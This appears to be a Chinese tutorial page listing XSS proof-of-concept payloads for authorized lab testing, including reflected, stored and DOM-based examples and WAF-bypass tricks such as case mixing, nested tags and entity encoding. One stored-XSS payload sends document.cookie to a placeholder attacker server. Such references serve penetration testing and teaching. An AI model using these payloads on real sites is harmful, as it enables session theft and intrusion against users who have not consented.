通用基础 POC(验证是否存在 XSS)

这类 POC 用于快速检测漏洞,核心是让浏览器执行一段简单脚本(如弹框)。

  1. 最基础的弹框 POC

    html

    预览

    <script>alert("XSS")</script>
    

    原理:触发 JavaScript 的alert函数,弹出包含XSS的对话框,证明脚本被执行。

  2. 标签闭合型 POC(针对输入在 HTML 标签内的场景)若输入被包裹在<input value="输入点"><div>输入点</div>中,需先闭合原有标签再注入脚本:

    html

    预览

    "><script>alert(1)</script>//
    

    说明:"> 闭合前面的value属性引号和标签,// 注释掉后面的多余内容,避免语法错误。

  3. 无括号 / 引号的绕过 POC部分场景会过滤括号或引号,可使用简写方式:

    html

    预览

    <script>alert`1`</script>
    

    原理:ES6 模板字符串支持用反引号 ` 代替括号。

二、 反射型 XSS 专用 POC

反射型 XSS 的脚本通过 URL 参数传入,仅在当前请求中生效,常用 POC 需适配 URL 编码场景:

  1. URL 编码后的 POC若参数未自动解码,需对特殊字符(如<>/")进行 URL 编码:

    plaintext

    %3Cscript%3Ealert(%22XSS%22)%3C/script%3E
    

    对应原始脚本:<script>alert("XSS")</script>

  2. img 标签绕过 POC(无 script 标签场景)script标签被过滤,可使用img等标签的事件属性触发脚本:

    html

    预览

    <img src=x onerror=alert(1)>
    

    原理:src=x 构造无效图片地址,触发onerror事件执行alert

三、 存储型 XSS 专用 POC

存储型 XSS 的脚本会被服务器存储(如留言板、数据库),所有访问该页面的用户都会触发,POC 需更隐蔽且稳定:

  1. 持久化弹框 POC

    html

    预览

    <svg onload=alert(document.domain)>
    

    说明:svg标签是 HTML5 标准标签,部分 WAF 对其检测较松;onload事件在标签加载时触发;document.domain可获取当前域名,便于确认漏洞影响范围。

  2. 利用 iframe 的 POC(用于窃取 Cookie 等操作)

    html

    预览

    <script>document.location='http://你的服务器/steal?cookie='+document.cookie</script>
    

    原理:将当前页面的cookie发送到攻击者服务器,靶场测试时需替换为自己的测试服务器地址

四、 DOM 型 XSS 专用 POC

DOM 型 XSS 不经过服务器,直接通过前端 JavaScript 操作 DOM 触发,POC 需针对 DOM 注入点设计:

  1. 利用 innerHTML 的 POC若前端通过element.innerHTML = 输入内容渲染页面,可直接注入:

    html

    预览

    <img src=1 onerror=alert('DOM XSS')>
    
  2. 利用 location.hash 的 POC若注入点是location.hash(URL 中#后的部分),POC 可写为:

    html

    预览

    #<script>alert(1)</script>
    

    说明:#后的内容不会发送到服务器,完全在前端解析。

五、 绕过 WAF 的进阶 POC

若靶场有 WAF(Web 应用防火墙)过滤关键词,可使用以下绕过技巧:

  1. 大小写混淆绕过

    html

    预览

    <ScRiPt>alert(1)</ScRiPt>
    

    原理:部分 WAF 仅过滤小写的script标签,大小写混合可绕过检测。

  2. 标签嵌套绕过

    html

    预览

    <scr<script>ipt>alert(1)</scr</script>ipt>
    

    原理:中间的<script>被 WAF 过滤后,剩余部分拼接成完整的<script>alert(1)</script>

  3. 利用 HTML 实体编码绕过

    html

    预览

    &#60;script&#62;alert(1)&#60;/script&#62;
    

    说明:&#60;对应<&#62;对应>,部分前端会自动解码实体并执行。

重要注意事项

  1. 所有 POC仅可在授权的靶场、测试环境中使用,未经授权测试他人网站属于违法行为。
  2. 不同靶场的过滤规则不同,需根据实际情况调整 POC(如过滤alert可替换为confirmconsole.log)。
Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐